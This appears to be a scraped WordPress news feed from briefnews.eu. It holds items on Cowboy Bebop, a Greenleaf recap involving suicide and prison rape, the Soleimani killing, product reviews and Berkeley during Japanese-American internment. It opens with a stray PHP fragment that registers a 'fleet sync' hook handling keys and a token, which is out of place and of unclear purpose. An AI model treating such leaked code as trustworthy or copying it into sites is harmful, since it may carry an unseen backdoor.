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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); tried – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 10:41:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png tried – Brief News https://briefnews.eu 32 32 How The Cowboy Bebop Team Tried To Make Every Episode Feel Unique https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/ https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/#respond Mon, 26 Sep 2022 10:41:55 +0000 https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/

Part of the tragedy of “Cowboy Bebop” is how the main characters are so weighed down by their pasts that they’re unable to live in the present. The creative team behind the classic anime series didn’t share this attitude though. When making the series, “Hajime Yatate” (their collective pseudonym) were all focused on the present, not what lay behind or ahead of them.

Series director Shinichirō Watanabe and producer Masahiko Minami discussed their episode-by-episode attitude at a roundtable for the show’s 20th anniversary, held at French convention Japan Expo 2018. Watannabe recounted (transcribed by SakuraBlog):

“I had an episodic series in mind from the get-go. I wanted every episode to feel fresh. And all the aforementioned problems we encountered only reinforced that vision of the series I had… But we still needed a thread, albeit thin, common to all episodes for the setting, world elements, characters, etc.”

Those thin threads wound up being (a.) the characters hunting bounties and (b.) confronting faces from their pasts. However, even these storylines lent themselves well to the series’ episodic format. This approach was solidified by the crew treating every episode like its own standalone story, and allowing all sorts of staff members to pitch in.

A Mishmash Team Effort

The “Cowboy Bebop” opening sequence, “Tank!” by the Seatbelts, contains a bold declaration hidden in its scrolling text animation: “the work that becomes a new genre itself will be called… Cowboy Bebop.” On a macro and micro level, “Bebop” mixes so many influences it defies categorization.

The setting may be science fiction, but true to the “Cowboy” part of the title, there’s Western influence too: the Solar System is a newly-settled, lawless frontier. The character archetypes owe more to Film Noir — Spike’s a former criminal, Jet an ex-cop, Faye a wannabe femme fatale. Yoko Kanno’s music score is as eclectic as the storytelling. “The Real Folk Blues” mixes jazzy saxophone riffs with lyrics out of a lovelorn ballad.

Episode by episode, widely different tones are explored. “Black Dog Serenade” is one of the show’s darkest chapters, explaining how Jet lost his right arm thanks to his corrupt ex-partner, Fad. The very next episode, “Mushroom Samba,” is the show’s silliest, featuring the adventures of comic relief character “Radical” Edward and pet “data dog” Ein while the rest Bebop crew accidentally get high on psychedelic mushrooms. While “Serenade” is a hardboiled noir, “Samba” is a love-letter to 70s stoner and blaxploitation movies — a woman who suspiciously resembles Pam Grier even shows up.

At the Japan Expo panel, Watannabe mentioned how the team enlisted different staff members for every episode to ensure each was unique. Dai Sato, a totally green writer, scripted two “Cowboy Bebop” episodes, while Minami broke out of his producing role and worked directly on episode 10; he gave the episode an “enka”-inspired tone.

If you make every episode feel different, you risk creating an unbalanced series. However, “Cowboy Bebop” begins as such a unique creation that introducing a new ingredient never upsets the flavor.

Making Every Episode Like It Was The Last

Watannabe acknowledged there was another reason they made “Cowboy Bebop” episodic:

“Every episode was written like it was the last because we knew the series may be called off any time.”

This attitude helps explain episode 11, “Toys in the Attic.” In that “Alien” parody, the Bebop crew is picked off one-by-one by a poisonous blob creature. The episode ends with everyone unconscious except for Ed, who beats the creature by eating it. In the preview for the next episode, Ed claims everyone died, “Bebop” is over and the next show will be “Cowgirl Ed.” Of course that isn’t true and everyone’s fine in episode 12. If the series had ended there, what a wild ending it would’ve been.

Watannabe’s fears of a premature end weren’t simple paranoia. For starters, “Cowboy Bebop” had trouble getting funding. The series’ sponsor Bandai just wanted sell spaceship toys, but pulled back thanks to the offbeat narrative that Sunrise designed for their toy commercial. If subsidiary Bandai Visual hadn’t stepped in, “Cowboy Bebop” may not have gotten off the ground.

Plus, the series was yanked off the air at one point. TV Tokyo aired only 12 “Bebop” episodes (and a clip show) from April 3 to June 26, 1998. Thankfully, the series soon aired in its entirety on Wowow, from October 24, 1998 until April 3, 1999. When “Cowboy Bebop” made its way to the U.S., airing on Adult Swim in 2001, its reputation as a classic was solidified. The series’ episodic approach and heavy western influence made it accessible to American audiences, who weren’t as well-versed in anime then as they are now.

By putting care into each episode, Watannabe, Minami, and their Sunrise teammates created something even greater than the sum of its unique parts.

Read this next: Anime Shows Like Cowboy Bebop That Are Worth Your Time

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“The establishment tried to destroy me, the Sunday Times, get me fired, get other people fired and so on.

“Now nobody doubts that it was true,” he told hosts Piers Morgan and Susanna Reid.

Neil continued: “However, what is most incredible about The Crown and this is the meeting between Margaret Thatcher and the Queen because it has Margaret Thatcher lecturing the Queen about being a grocer’s daughter whereas the Queen inherited an imperial empire and she didn’t understand things.

“Of course I wasn’t at any of these meetings but I knew Margaret Thatcher very well.

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]]> https://briefnews.eu/royals-tried-to-get-me-fired-over-thatcher-and-queen-clash-story-claims-andrew-neil/feed/ 0 Shirley Ballas opens up on stepping into Len Goodman’s shoes: ‘Never tried to fill them’ https://briefnews.eu/shirley-ballas-opens-up-on-stepping-into-len-goodmans-shoes-never-tried-to-fill-them/ https://briefnews.eu/shirley-ballas-opens-up-on-stepping-into-len-goodmans-shoes-never-tried-to-fill-them/#respond Tue, 27 Oct 2020 06:05:43 +0000 https://briefnews.eu/shirley-ballas-opens-up-on-stepping-into-len-goodmans-shoes-never-tried-to-fill-them/

She replied: “In my own industry I don’t find it difficult but when I’m on Strictly, for example.

“I’m a little more sensitive to people who are non-dancers and they have to get a dance ready in a few days and put it out at the weekend, in front of millions of viewers!

“So, I do carry that a little bit with me in my heart, it’s a lot of work,” she admitted.

Strictly Come Dancing continues on Saturday at 7:15pm on BBC One and Love Your Weekend with Alan Titchmarsh airs Sundays from 10am on ITV.

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]]> https://briefnews.eu/shirley-ballas-opens-up-on-stepping-into-len-goodmans-shoes-never-tried-to-fill-them/feed/ 0 Greenleaf Recap: At Last, AJ Reveals the Reason He Tried to Kill Himself https://briefnews.eu/greenleaf-recap-at-last-aj-reveals-the-reason-he-tried-to-kill-himself/ https://briefnews.eu/greenleaf-recap-at-last-aj-reveals-the-reason-he-tried-to-kill-himself/#respond Wed, 08 Jul 2020 06:09:07 +0000 https://briefnews.eu/greenleaf-recap-at-last-aj-reveals-the-reason-he-tried-to-kill-himself/ Warning: You don’t have a prayer of being surprised by Tuesday’s Greenleaf if you read this recap before watching — it’s filled to bursting with spoilers.

Unless I miss my guess, there were a lot of Greenleaf fans’ jaws on the floor at the end of Tuesday’s episode. Because, though the prevailing theory was that AJ’s deep, dark secret was that he wasn’t really Grace’s son, that wasn’t even close to the truth. So why did he try to commit suicide? Read on…

Greenleaf Recap Season 5 Episode 3 AJ Prison Rape HIV‘ONLY GOD TALKS TO ME LIKE THAT, JAMES!’ | At the start of “The Third Day,” Darius dropped by the Greenleaf Estate to see Grace before jetting to Vegas to investigate Eden Vale Lending. It was an early flight, but hey, he’d gotten a free trip to Sin City, Grace noted. Actually, Darius had had to buy his own ticket. Turned out, the previous evening, he’d been canned when he’d refused to give up his story on Bob and Hope & Harmony. So “wish me luck,” he said before surprising his old flame with a warm kiss. Inside, as Bishop and Lady Mae struggled to come up with a name for their new church, he also continued to struggle with his memory. “You have got to stop this brown-liquor-at-bedtime thing,” she scolded. But seriously, she knew that there was a problem and insisted that he get a physical. And by “insisted,” you know very well that I mean made the appointment for him. When Charity passed through the room, Lady Mae couldn’t resist taking a few digs at her, especially after she turned down her father’s offer to be associate pastor at the new church. Can’t she see, Lady Mae asked, that if she keeps working for Phil and Judee, “it’s just a matter of time before [they] have you rocking their lil’ cinnamon-milk babies to sleep like a mammy”? In response, Charity asked whether it had occurred to her mother that maybe she had a plan. “Does it occur to me?” Lady Mae deadpanned. “No.”

Meanwhile, Jacob and Tasha paid a visit to Basie’s half sister, Tara. En route, when they weren’t eyeing each other up one side and down the other, Tasha revealed that her husband’s body had been found in a roadside motel. And Rochelle? Nobody knew where she was. Once the twosome sat down with Tara, Jacob got right to business. Basie and Rochelle had believed that Bishop killed their father, Darryl — did Tara think so, too? “Yeah, that’s accurate,” she said. She just hadn’t done anything about it because she’d predicted that one day a Greenleaf would be moved by God to make things right. Key to ascertaining Bishop’s guilt or innocence was a call placed to Darryl on the night that he died. Had Bishop been the caller who’d instructed Darryl to go to the church? Or could it have been Mac? Basie’d always said it had been Bishop. But how could he know? Had he answered the phone? Of course, being as deceased as his father, he couldn’t exactly be questioned now, could he? Finally, Jacob made things awkward — well, awkwarder — by inquiring about the relationship between Darryl and Loretta Davis. After Tara shut down and showed out her guests, she rang someone — who, we couldn’t tell — to report that Jacob had just come by.

Greenleaf Recap Season 5 Episode 3 AJ Prison Rape HIV‘YOU’RE AN UGLY PERSON, AND THE NINE POUNDS OF MAKEUP YOU WEAR ON THAT DINNER  PLATE WILL NEVER HIDE THAT!’ | At the cabin, after Zora helped Sophia get her topless pics off the web (a miracle if ever there was one!), Grace’s daughter began trashing Nikki’s clothes… just as Dante’s former ex-girlfriend walked in. Quicker than you could say, “Fight! Fight! Fight!” the girls were going at it — even physically, after Nikki snarked that at least she could have babies. Once Zora had broken up the fracas, she told the rhymes-with-witch to get out and stay gone. She then reassured Sophia that she hadn’t said anything about the fact that she couldn’t have kids and encouraged her to “write an emo song,” something, anything, to get her rage in check. At the main house, no sooner had Grace reported that AJ hadn’t allowed her and Noah to visit than her mother was going on and on about how handsome the boy’s father was. Didn’t Grace think so? “You know, Mama, it wasn’t foremost in my thoughts,” she replied, “given the circumstances.” But there was no stopping Lady Mae. She all but offered Noah the cabin once Zora had left for college, and when Grace checked her ears to see if she should believe what she was hearing, her mother suggested that, where AJ was concerned, “it is foolish to ignore the fact that one of you gave him away and the other didn’t even know he existed.” Da-amn. She usually saves that level of nastiness for Charity!

All Lady Mae meant, she clarified (too late), was that she thought that Grace and Noah ought to connect as a team in hopes of reaching their son. Understandably upset, Grace excused herself and was followed by her father. He suspected that what had turned Lady Mae so mean so fast were residual issues stemming from their disagreements about Faith — disagreements that had cost them dearly. Lady Mae just didn’t to see history repeat itself. At Calvary, Phil and Judee continued to make Charity feel as if she was doing penance every second of the day. First, he asked his ex to do the welcome at the next service rather than preach. Then he asked her to help Judee with the music. Finally, Judee rubbed her engagement ring in her rival’s face, prompting Charity to ask if she’d ever heard the story of the tortoise and the hare? Is Charity supposed to the tortoise? Judee asked. Oh, hell no, “I’m Godzilla,” she said, “with the emphasis on God,” and if Judee thought that she and Phil could make her so miserable that she’d quit, they had another think coming! Needless to say, Charity was not receptive when Phil later asked if someday maybe they’d be able to talk like they used to. No, he was stuck with the job that he desperately wanted — and a fiancée that he couldn’t stand.

‘YOUR S–T’S GOT NOTHING ON MINE’ | While Lady Mae and Bishop were busy accepting Karine’s offer to be the music director at their new church, Sophia received a call from AJ: He wanted to see her! He didn’t want so much to talk to her, though. He just wanted to say goodbye before he got sprung from his psych hold and left town. Sophia wasn’t eager to let go of her brother, but she promised that she would — if only he’d open up to her about why he’d tried to kill himself. Elsewhere, as Jacob dropped off Tasha, she asked if he’d really liked her back when… or had it been just… you know? Oh, he’d liked her. And what’s more, he still did. But he wouldn’t let her so much as kiss him. Once his divorce was final, he said instead, “maybe we can get to know each other again. Let’s do it right this time.” Back home, he stunned Kerissa by announcing that he definitely wanted shared custody. And if pursuing it put Bishop in jail? “Either he belongs there or he doesn’t,” Jacob said. “Either way I’m about to find out.” On that note, he interrupted his father’s Jane Fonda workout to ask if he’d called Darryl the night that he died. No, Bishop insisted. Had he known that the Greenleaf Estate had originally been willed to Darryl? No again, Bishop insisted again. That was news to him. (Although, given his recent memory issues, could we really be sure?)

Upstairs, Lady Mae extended an olive branch to Charity by way of her old choir songbook — in which she’d written Rev. Charity Greenleaf. “Singing was never my dream,” she said, gazing at the proof. Well, her dream might yet come true. The offer to be associate pastor at the new church still stands, Lady Mae said. And by the time she left the room, Charity had given her the perfect name for it: Eternal Faith Fellowship. Which seemed fine and all but also kinda like the name you’d get from a book of Church Mad Libs. As the hour drew to a close, Sophia emerged from AJ’s hospital room and informed Grace that he wanted to see her. Steeling herself, she sat down at her son’s bedside. “I’m gonna tell you something, and after I say it, I don’t want to talk about it,” AJ began. “I’m sick of being treated like a puzzle everyone’s trying to figure out.” So… what had driven him to want to take his own life? “I was raped in prison, and one of the bitches who did it gave me HIV,” he said. “That’s my life. That’s the situation, OK?” And there it was. So, were you surprised to learn that that was AJ’s secret? There’s no way Grace can let him leave, right? And how killer were the sparks flying between Jacob and Tasha? Hit the comments with your thoughts.

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The Liberal Democrats‘ co-leader argued the US attack on Iran‘s top general Qassem Soleimani is “dangerous” for the Middle East and the rest of the world. But ITV Good Morning Britain host Piers Morgan promptly pointed out: “He was also very dangerous for all those things. Soleimani actively sought to kill British forces and American forces. He was terrorising through proxy groups all around the Middle East, from Yemen to Syria to Iraq to Lebanon. This is a very bad guy running a very bad series of proxy terror groups around the Middle East.”

He added: “I asked were you pleased he was gone and you said you weren’t.

“Why wouldn’t you be pleased he’s gone?”

To which Mr Davey replied: “Because of the damage it does to the Middle East.

“Piers, I’m sorry, you’re just wrong on this.”

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After speaking to US President Donald Trump on Sunday, Prime Minister Boris Johnson broke his silence to say the UK “will not lament” the death of the leader who he said was “a threat to all our interests”.

The Prime Minister urged de-escalation from all sides, saying that calls for reprisals “will simply lead to more violence in the region and they are in no one’s interest” after the killing in Baghdad on Friday.

But a short while later, President Trump threatened to retaliate “perhaps in a disproportionate manner” if Iran strikes a US citizen or target.

Donald Trump insisted Iranian cultural sites are fair game for the US military, dismissing concerns within his own administration that doing so could constitute a war crime under international law.

He also warned Iraq he would levy punishing sanctions if it expelled American troops in retaliation for a US airstrike in Baghdad that killed a top Iranian official.

The US leader’s comments on Sunday came amid escalating tensions in the Middle East following the assassination of General Qassem Soleimani, the head of Iran’s elite Quds force.

Iran has vowed to retaliate and Iraq’s parliament responded by voting on Sunday to oust US troops based in the country.

President Trump first raised the prospect of targeting Iranian cultural sites Saturday in a tweet. Speaking with reporters as he flew back to Washington from his holiday stay in Florida on Sunday he doubled down, despite international prohibitions.

“They’re allowed to kill our people. They’re allowed to torture and maim our people. They’re allowed to use roadside bombs and blow up our people. And we’re not allowed to touch their cultural sites? It doesn’t work that way,” President Trump said.

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The killing of General Soleimani sparked outrage in the Middle East, including in Iraq, where more than 5,000 American troops are still on the ground 17 years after the US invasion.

Iraq’s parliament voted on Sunday in favour of a non-binding resolution calling for the expulsion of the American forces.

Donald Trump said the US would not leave without being paid for its military investments in Iraq over the years – then said if the troops do have to withdraw, he would hit Baghdad with economic penalties.

“We will charge them sanctions like they’ve never seen before ever. It’ll make Iranian sanctions look somewhat tame,” he said.

“If there’s any hostility, that they do anything we think is inappropriate, we are going to put sanctions on Iraq, very big sanctions on Iraq.”

He added: “We’re not leaving until they pay us back for it.”

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]]> https://briefnews.eu/he-tried-to-kill-uk-forces-piers-morgan-rages-as-lib-dem-claims-trump-is-wrong-on-iran/feed/ 0 I tried Veestro, a plant-based meal delivery service — and it’s great for busy people who want to eat healthy https://briefnews.eu/i-tried-veestro-a-plant-based-meal-delivery-service-and-its-great-for-busy-people-who-want-to-eat-healthy/ https://briefnews.eu/i-tried-veestro-a-plant-based-meal-delivery-service-and-its-great-for-busy-people-who-want-to-eat-healthy/#respond Mon, 31 Dec 2018 16:00:34 +0000 http://briefnews.eu/i-tried-veestro-a-plant-based-meal-delivery-service-and-its-great-for-busy-people-who-want-to-eat-healthy/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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  • Healthy eating often falls by the wayside when you lead a busy lifestyle. 
  • Veestro is a meal delivery service that makes it easy to get more plant-based foods into your diet without sacrificing taste or convenience. 
  • If your New Year’s resolution is to eat better or lose weight, and you’ve realized that it’s difficult to fit it into your packed schedule, give Veestro a try. 

Eating a healthy, balanced diet seems fairly straightforward. Years of health research and doctors everywhere tell us we should eat more vegetables and fruits, try to get our daily recommended vitamins, and limit our sugar and fat intake. If my life revolved purely around feeding myself, I’m sure I could become a glowing, nutritionally sound health goddess because I’d actually have the time to carefully grocery shop and cook healthy meals. But like most people, I’m otherwise occupied with work, hobbies, and social obligations, and eating healthy really isn’t that easy. 

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]]> https://briefnews.eu/i-tried-veestro-a-plant-based-meal-delivery-service-and-its-great-for-busy-people-who-want-to-eat-healthy/feed/ 0 1940s 'Safe Spaces': The Man Who Tried to Save His Students From Internment https://briefnews.eu/1940s-safe-spaces-the-man-who-tried-to-save-his-students-from-internment-2/ https://briefnews.eu/1940s-safe-spaces-the-man-who-tried-to-save-his-students-from-internment-2/#respond Fri, 07 Dec 2018 06:03:28 +0000 http://briefnews.eu/1940s-safe-spaces-the-man-who-tried-to-save-his-students-from-internment-2/ Berkeley’s Daily Gazette didn’t publish Sunday editions. So on Monday, December 8, 1941, area residents found something interesting in their newspapers. For the first time in years, the Gazette offered an extra section — one detailing the enormity of what had happened the day before: Japan attacked Pearl Harbor.

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One of the readers was University of California president Robert G. Sproul, and what he read alarmed him. Even before the attack, Sproul had been leading efforts to try and reduce prejudice against Japanese-Americans, many of whom had been labeled as complacent in the attacks on China during the Second Sino-Japanese War. And while he was concerned by the loss of life and injuries sustained in the attack, he was also scared that the bad news would impact the safety and education of his Japanese-American students.

Groups like the Joint Committee on Immigration went so far as to oppose Japanese immigration, inciting xenophobia by framing Japanese-Americans as a threat to white Christians, according to Berkeley history professor Charles Wollenberg. “[The committee] was an establishment version of the so-called Yellow Peril concept, the idea that Japanese immigration, and Asian immigration in general, was a danger to the United States,” he says. While there were some economic motives behind this, it mostly stemmed from racism.

You have an administrator who — while not openly disavowing incarceration — is doing a lot behind the scenes to help these students get to somewhere they can continue their education.

Allan Austin, professor, Misericordia University

Several academics in the Bay Area, including Sproul, former University of California president David Prescott Barrows and Galen Fisher from the Pacific School of Religion, had already set up the Fair Play Committee earlier that autumn in 1941 — a testament to their level of concern even months before Pearl Harbor. It fought for the protection of civil rights of Japanese-Americans in California, helping ordinary citizens treat Japanese-Americans with “fair play.”

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The attack bolstered the worst of existing anti-Japanese sentiment in America. Life magazine even published an article called “How to Tell Japs From the Chinese” — complete with diagrams — on December 22, 1941. So-called “Jap hunting licenses” were passed around, asking folks to sign their names as hunters for a year-round season. Some people even sent licenses to President Franklin Roosevelt, according to Rudolf V.A. Janssens in “What Future for Japan?”: U.S. Wartime Planning for the Postwar Era, 1942–1945.

Newspapers like the Los Angeles Times and the Gazette added fuel to the fire with exaggerated claims about the domestic Japanese threat. Walter Lippmann infamously wrote a column titled “The Fifth Column” in the Los Angeles Times on February 13, 1942, claiming that there have been “communication [taking] place between the enemy at sea and enemy agents on land” to bring “irreparable damage” to America. He was arguing that the government should evacuate and intern enemy aliens.

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Hatred soon morphed into policy. Roosevelt signed Executive Order 9066 on February 19, 1942, authorizing the removal from military areas any people “as deemed necessary or desirable.” The armed forces treated the entire U.S. West Coast as a military area, and Japanese-Americans nationwide found their funds frozen and faced curfews and travel restrictions. Some were bewildered by the order and many felt hopeless, but the worst had yet to come.

Publicly, Sproul, like other university presidents, did not denounce the government’s exclusionary policy. According to Misericordia University history professor Allan Austin, Sproul in fact called incarceration of people of Japanese descent a necessary evil. But with Deutsch’s help, Sproul worked to postpone the removal of Japanese-American students from campus until the end of the academic year. When that didn’t work, he wrote to 32 universities and colleges in the Midwest — those located outside the so-called military zone — to ask that they admit the affected students. Sadly, only a few schools agreed to take the students. (University of Nebraska-Lincoln, for example, accepted 100 Japanese-American students.)

Sproul also took administrative actions to help these students by asking deans and faculty to meet and counsel the Japanese-American students. He also allowed students to withdraw right away if they needed to, and he put together loans to help the affected students move. “You have an administrator who — while not openly disavowing incarceration — is doing a lot behind the scenes to help these students get to somewhere they can continue their education,” Austin explains.

Sproul, with the help from the university YMCA and YWCA, also organized the Student Relocation Council, which helped Japanese-American students continue their studies by being relocated. The organization eventually expanded into the National Japanese-American Student Relocation Council and aided thousands of Japanese-Americans. By the time the organization closed its doors on June 30, 1946, the NJASRC had processed more than 4,600 applications and 3,613 Japanese-American students were relocated. Most Japanese-Americans along the West Coast, however, were not so lucky.

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In fact, 120,000 people of Japanese descent were eventually forced into internment camps. Among them were 500 Berkeley students. On April 24, 1942, a week before Japanese-Americans were required to be in the camps, one of the 500, Tom Shibutani, wrote a letter to the editor of the Daily Californian called “We Hope to Come Back.” Noting how the evacuation order had just been announced, he wrote that “in the hard days ahead we shall try to recreate the spirit which has made us so reluctant to leave now … and our wish to those who remain is that they maintain here the democratic ideals that have operated in the past. We hope to come back and find them here.”

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Berkeley valedictorian Harvey Itano was missing at graduation that year. While his classmates gathered in their caps and gowns, Itano was at an assembly center in Sacramento. Despite earning the highest academic achievement of his class, he couldn’t be on hand to receive his University Medal. But that didn’t mean he was forgotten: Days later, Sproul visited the assembly, delivering Itano’s hard-earned medal in person.

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]]> https://briefnews.eu/1940s-safe-spaces-the-man-who-tried-to-save-his-students-from-internment-2/feed/ 0 A 69-year-old Dutch man just tried to legally subtract 20 years from his age — but the court said no way https://briefnews.eu/a-69-year-old-dutch-man-just-tried-to-legally-subtract-20-years-from-his-age-but-the-court-said-no-way/ https://briefnews.eu/a-69-year-old-dutch-man-just-tried-to-legally-subtract-20-years-from-his-age-but-the-court-said-no-way/#respond Mon, 03 Dec 2018 22:26:20 +0000 http://briefnews.eu/a-69-year-old-dutch-man-just-tried-to-legally-subtract-20-years-from-his-age-but-the-court-said-no-way/ emile Ratelband laughingCourtesy of Emile Ratelband

  • Emile Ratelband just asked a Dutch court to let him shave 20 years off his legal age. 
  • Ratelband argued that he should be able to have an age that’s as young as he feels. But he doesn’t think the privilege should extend to people who feel older than their age.
  • The district court refused his request on Monday, saying there are certain rights and duties that go along with aging, and “the priority must be to ensure that the public registers contain accurate factual information.” 

Age ain’t nothing but a number, but it’s not a number we can change as we see fit.

Emile Ratelband, a 69-year-old Dutch motivational speaker and author, doesn’t see it that way. 

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]]> https://briefnews.eu/a-69-year-old-dutch-man-just-tried-to-legally-subtract-20-years-from-his-age-but-the-court-said-no-way/feed/ 0 Mexico to deport 500 migrants who tried to ‘violently’ force their way into US https://briefnews.eu/mexico-to-deport-500-migrants-who-tried-to-violently-force-their-way-into-us/ https://briefnews.eu/mexico-to-deport-500-migrants-who-tried-to-violently-force-their-way-into-us/#respond Mon, 26 Nov 2018 01:41:36 +0000 http://briefnews.eu/mexico-to-deport-500-migrants-who-tried-to-violently-force-their-way-into-us/ After US border guards used tear gas to repel a group of migrants who tried to break through from Mexico at a closed crossing, Mexico is saying it will deport 500 of those involved in the chaotic incident.

Mexican authorities told the press that they will be deporting 500 people involved in a demonstration which turned into a mass gate-crashing attempt, for “illegally” and “violently” rushing Mexican police at the San Ysidro entry port in Tijuana.

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The border is the most active entry point between the US and Mexico, and facilitates nearly 100,000 crossings a day. The port was completely shut down after migrants impatient with long waiting processes and uncertainties of the US asylum process attempted to force their way into the US. After the failed attempt to brush past border guards, migrants began breaking holes through the border fence nearby, prompting the US to respond firing tear gas at the crowds. The port was eventually reopened following hours of closure during the conflict.

The demonstration was made up of members of a caravan of over 7,000 immigrants from central America seeking to apply for asylum in the US. Around 5,000 are currently being housed in a converted sports stadium in Mexico while they wait to submit applications. US president Donald Trump has responded saying that no crossings will be made, and that asylum seekers will await their decisions outside US borders.

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]]> https://briefnews.eu/mexico-to-deport-500-migrants-who-tried-to-violently-force-their-way-into-us/feed/ 0 I tried KFC’s 3 new chicken and waffle dishes, and there was a clear winner https://briefnews.eu/i-tried-kfcs-3-new-chicken-and-waffle-dishes-and-there-was-a-clear-winner/ https://briefnews.eu/i-tried-kfcs-3-new-chicken-and-waffle-dishes-and-there-was-a-clear-winner/#respond Tue, 20 Nov 2018 14:46:38 +0000 http://briefnews.eu/i-tried-kfcs-3-new-chicken-and-waffle-dishes-and-there-was-a-clear-winner/ kfc chicken and wafflesAnay Katyal/INSIDER

  • On November 12, KFC added three new meals made with chicken and waffles to its menu.
  • The available options are chicken tenders, fried chicken, and a sandwich with Belgian Liège-style waffle buns, along with a side of Mrs. Butterworth’s syrup. 
  • The fried chicken and chicken tenders remain the same as the fast-food’s other chicken menu items, but the Liège-style waffles are sweeter and doughier than expected.
  • My favorite was the chicken and waffle sandwich, which had just the right balance of spicy and sweet for my taste.

While pairing fried chicken and waffles together predates Colonel Sanders, it isn’t until this year that KFC finally decided to try its hand at the iconic dish.

After a trial at locations in Charlotte, North Carolina, this past summer, KFC started serving chicken and waffles nationwide from November 12 and will offer the dishes through December 31. 

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